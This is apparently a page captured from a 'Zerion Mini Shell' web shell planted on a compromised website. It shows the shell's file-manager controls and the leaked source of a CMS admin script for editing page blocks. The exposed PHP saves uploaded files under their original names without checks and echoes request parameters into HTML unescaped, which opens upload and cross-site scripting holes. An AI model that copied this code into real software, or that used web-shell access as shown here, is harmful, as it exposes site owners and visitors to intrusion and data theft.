%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-intercultural.eu/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-intercultural.eu/public_html/a-modifier_bloc.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/init.php");
include_once("inc/session.php");
include_once("inc/classes/Bloc.php");

verif_get($_GET['id_bloc']);
verif_get($_GET['type']);

$this_bloc=$bloc->getBloc($_GET['id_bloc']);
if($this_bloc==null)
{
	include('a-404.php');
	exit(0);
}



if(!file_exists("uploads/bloc".$_GET['id_bloc'])) mkdir("uploads/bloc".$_GET['id_bloc'], 0755, true);


if(isset($_POST['post']) && $_POST['post'] == 1)
{
	$erreur = "ok";
	if($_POST['type'] == 1 || $_POST['type'] == 2 || $_POST['type'] == 3)
	{
		if($erreur == "ok") $erreur = $db->verifChamp("texte",$_POST,$trad->t('Text required (english)','admin',$lang->getlang()) );
	}
	if($_POST['type'] == 6)
	{
		if($erreur == "ok") $erreur = $db->verif($_POST['lien_bouton'],$trad->t('Button link required','admin',$lang->getlang()));
		if($erreur == "ok") $erreur = $db->verifChamp("bouton",$_POST,$trad->t('Button title required','admin',$lang->getlang()));
	}
	if($_POST['type'] == 7)
	{
		if($erreur == "ok") $erreur = $db->verifChamp("soustitre",$_POST,$trad->t('Subtitle required (english)','admin',$lang->getlang()) );
	}
	if($erreur == "ok")
	{
		//Photo
		/*if(isset($_POST['photo']) && $_POST['photo'] != null && $_POST['photo']!=$this_bloc['photo']) {
			$page->suppr_photo($_POST['id_bloc']);
			$_POST['photo'] = photo_move($_POST['photo']);
		}*/
		
		// file_docs
		if(isset($_FILES['fichier']['name']) && $_FILES['fichier']['name'] != null){
			$_POST['fichier'] = file_move($_POST['id_bloc'],$_FILES['fichier']['name'],$_FILES['fichier']['tmp_name']);
			
		}
		
		if(isset($_FILES['file_1']['name']) && $_FILES['file_1']['name'] != null){
			$_POST['photo'] = file_move("",$_FILES['file_1']['name'],$_FILES['file_1']['tmp_name']);
			
		}
		
		
		$dirname = 'uploads/bloc'.$_GET['id_bloc'];
		$dir = opendir($dirname); 
		$j=1;
		//$tab_photo=array();
		$tab_photo = scandir($dirname);
		/*while($file = readdir($dir)) {
			if($file != '.' && $file != '..' && !is_dir($dirname.$file))
			{
				//echo '- '.$file.' ';
				$tab_photo[$j]=$file;
				$j++;
			}
			
		}*/

		closedir($dir);
		
		for($i=1;$i<=20;$i++){
			if(isset($_FILES['photo_'.$i]['name']) && $_FILES['photo_'.$i]['name'] != null){
				if(isset($tab_photo[$i+1]) && $tab_photo[$i+1]!=""){
					unlink("uploads/bloc".$_GET['id_bloc']."/".$tab_photo[$i+1]);
					echo "uploads/bloc".$_GET['id_bloc']."/".$tab_photo[$i+1];
				}
				$_POST['photo_'.$i] = file_move($_GET['id_bloc'],$i.'_'.$_FILES['photo_'.$i]['name'],$_FILES['photo_'.$i]['tmp_name']);
				
			}
			
		}
		
		
		
		$bloc->edit($_POST);
		
		
		
		
		//header("Location:modifier_page.php?id_page=".$_POST['id_page']."&msg=yes");
	}
	else {
		$err = true;
	}
}
else{
	$_POST=$this_bloc;
}




//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>".$trad->t("Edit bloc","admin",$lang->id())." - ".$info_titresite."</title>\n";
//affichage du header
if(estadmin()) include("theme/header_admin.php");
else include("theme/header_redacteur.php");
?>

<div class="text_admin">
<h2><?=$trad->t("Edit bloc","admin",$lang->id())?></h2>
<p><?=$trad->t('To change the type of block, return to','admin',$lang->getlang())?> <a href="admin/modifier_page.php?id_page=<?php echo $_POST['id_page']; ?>"><?=$trad->t('previous page','admin',$lang->getlang())?></a>.</p>

<?php
if(isset($err)) {
	echo "<p class=\"erreurbloc\">".$erreur."</p>";
}
if(isset($yes)) {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
?>
<?=$form->geneFlag($lang->id());?><br/>
<form action="admin/modifier_bloc.php?id_bloc=<?php echo $_GET['id_bloc']; ?>&type=<?php echo $_GET['type']; ?>" enctype="multipart/form-data" method="post" class="form">
	<table>
<?php if($_GET['type'] == 1 || $_GET['type'] == 2 || $_GET['type'] == 3 || $_GET['type'] == 6 || $_GET['type'] == 7) { ?>
		
<?php } ?>
		
<?php if($_GET['type'] == 1 || $_GET['type'] == 2 || $_GET['type'] == 3) { ?>
		<tr>
			<td class="label"></td>
			<td class="field" colspan="2">
				<div id="toolbar"></div>
			</td>
		</tr>
		<tr>
			<td class="label top"><?=$trad->t("Blocs text","admin",$lang->id())?> <span class="etoile">*</span></td>
			<td class="field">
			<?$html='<textarea name="texte_[LANG]">[VALUE]</textarea>';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('texte',$_POST));
			?>
			</td>
		</tr>
<?php } if($_GET['type'] == 2 || $_GET['type'] == 3 | $_GET['type'] == 4) { ?>
		<tr>
			<td class="label top"><?=$trad->t("Blocs photo","admin",$lang->id())?> <span class="etoile">*</span></td>
			<td class="field"><input type="file" name="file_1" id="file_1" /><?php if(isset($_POST['photo'])) echo '<div class="uploadifyQueueItem completed"><a href="uploads/'.$_POST['photo'].'" class="zoom">'.$_POST['photo'].'</a></div> '; ?></td>
			<td class="field"><input type="hidden" name="photo" id="photo1" value="<?php echo $_POST['photo']; ?>" /></td>
		</tr>
		<tr>
			<td class="label top"><?=$trad->t("Tags","admin",$lang->id())?></td>
			<td class="field"><?$html='<input type="text" name="tags_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('tags',$_POST));?>
			</td>
		</tr>
		<tr>
			<td class="label top"><?=$trad->t("Copyright","admin",$lang->id())?></td>			
			<td class="field"><?$html='<input type="text" name="copyright_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('copyright',$_POST));?>
			</td>
		</tr>
		<tr>
			<td class="label"><?=$trad->t("Photo size","admin",$lang->id())?> <span class="etoile">*</span></td>
			<td class="field">
				<select name="taillephoto">
<?php if($_GET['type'] == 4) { ?>
					<option <?php if($_POST['taillephoto'] == 698) echo 'selected="selected"'; ?> value="698"><?=$trad->t('The entire width','admin',$lang->getlang())?></option>
<?php } ?>
					<option <?php if($_POST['taillephoto'] == 340) echo 'selected="selected"'; ?> value="340"><?=$trad->t('Large','admin',$lang->getlang())?></option>
					<option <?php if($_POST['taillephoto'] == 220) echo 'selected="selected"'; ?> value="220"><?=$trad->t('Medium','admin',$lang->getlang())?></option>
					<option <?php if($_POST['taillephoto'] == 110) echo 'selected="selected"'; ?> value="110"><?=$trad->t('Small','admin',$lang->getlang())?></option>
				</select>
			</td>
			<td class="field"></td>
		</tr>
<?php } if($_GET['type'] == 6) { ?>
		<tr>
			<td class="label"><?=$trad->t('Button title','admin',$lang->getlang())?> <span class="etoile">*</span></td>
			<td class="field"><?$html='<input type="text" name="bouton_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('bouton',$_POST));?>
			</td>
		</tr>
		<tr>
			<td class="label"><?=$trad->t("Button link","admin",$lang->id())?> <span class="etoile">*</span></td>
			<td class="field"><input type="text" name="lien_bouton" value="<?php echo $_POST['lien_bouton']; ?>" /></td>
			<td class="field"></td>
		</tr>
<?php } if($_GET['type'] == 7) { ?>
		<tr>
			<td class="label"><?=$trad->t("Subtitle","admin",$lang->id())?> <span class="etoile">*</span></td>
			<td class="field"><?$html='<input type="text" name="soustitre_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('soustitre',$_POST));?>
			</td>
		</tr>

<?php } if($_GET['type'] == 8) {
 ?>
		<tr>
			<td class="label top"><?=$trad->t('Edit documents','admin',$lang->getlang())?> <span class="etoile">*</span></td>
			<!--<td class="field"><input type="file" name="file_docs" id="file_docs" />-->
			<td class="field"><input type="file" name="fichier" id="fichier" />
			
<?php
if(!file_exists("uploads/bloc".$_GET['id_bloc'])) mkdir("uploads/bloc".$_GET['id_bloc'], 0755, true);
$dirname = 'uploads/bloc'.$_POST['id_bloc'];
$dir = opendir($dirname); 

while($file = readdir($dir)) {
	if($file != '.' && $file != '..' && !is_dir($dirname.$file))
	{
		echo '<div class="uploadifyQueueItem completed"><div class="cancel"><a href="admin/suppr_doc.php?doc='.$file.'&bloc='.$_GET['id_bloc'].'" class="confirm"><img src="uploadify/cancel.png" /></a></div><a href="'.$dirname.'/'.$file.'">'.$file.'</a></div> ';
	}
}

closedir($dir);
?>
			</td>
		</tr>
		<tr>
			<td class="label top"><?=$trad->t("Files name","admin",$lang->id())?></td>			
			<td class="field"><?$html='<input type="text" name="nom_fichier_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('nom_fichier',$_POST));?>
			</td>
		</tr>
		<tr>
			<td class="label top"><?=$trad->t("Tags","admin",$lang->id())?></td>
			<td class="field"><?$html='<input type="text" name="tags_[LANG]" value="[VALUE]" />';
			echo $form->geneField($html,$lang->id(),$form->getValuesField('tags',$_POST));?>
			</td>
		</tr>
		
			<td class="field"><input type="hidden" id="file_folder" value="bloc<?php echo $_POST['id_bloc']; ?>" /></td>
		</tr>
<?php } 
	if($_GET['type'] == 9){
	
	
		$dirname = 'uploads/bloc'.$_GET['id_bloc'];
		$dir = opendir($dirname); 
		$j=1;
		$tab_photo = scandir($dirname);
		
		/*$tab_photo=array();
		while($file = readdir($dir)) {
			if($file != '.' && $file != '..' && !is_dir($dirname.$file))
			{
				//echo '- '.$file.' ';
				$tab_photo[$j]=$file;
				$j++;
			}
			
		}*/

		closedir($dir);
		?>
		<? for($i=1;$i<=20;$i++):?>
			<tr>
			
				<td class="label top"><?=$trad->t("Add photo","admin",$lang->id())?> <?=$i?></td>
				<td class="field"><input type="file" name="photo_<?=$i?>" id="photo_<?=$i?>" /></td>
			
			</tr>
			<?=((isset($tab_photo[$i+1]) && $tab_photo[$i+1]!="")?"<tr><td></td><td>".$tab_photo[$i+1]."</td></tr>":"")?>
		<? endfor; ?>
		<?
	}?>
	<tr>
		<td class="label top"><?=$trad->t("Valid (for this language) ?","admin",$lang->id())?></td>			
		<td class="field"><?$html='<input type="checkbox" name="valide_[LANG]" value="1" [CHECKED] />';
		echo $form->geneField($html,$lang->id(),$form->getValuesField('valide',$_POST),1);?>
		</td>
	</tr>

	</table>
	<div class="form_bouton">
		<input type="hidden" name="id_bloc" value="<?=$_GET['id_bloc']?>" />
		<input type="hidden" name="id_page" value="<?=$_POST['id_page']?>" />
		<input type="hidden" name="type" value="<?=$_POST['type']?>" />
		<input type="hidden" name="post" value="1" />
		<input type="submit" class="bouton" id="maj_bouton" value="Modifier le bloc" />
		<a href="admin/suppr_bloc.php?id_bloc=<?php echo $_GET['id_bloc']; ?>" class="bouton confirm" /><?=$trad->t('Delete bloc','admin',$lang->getlang())?></a>
	</div>
</form>
<?=$form->geneFlag($lang->id());?><br/>
</div>

<?

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0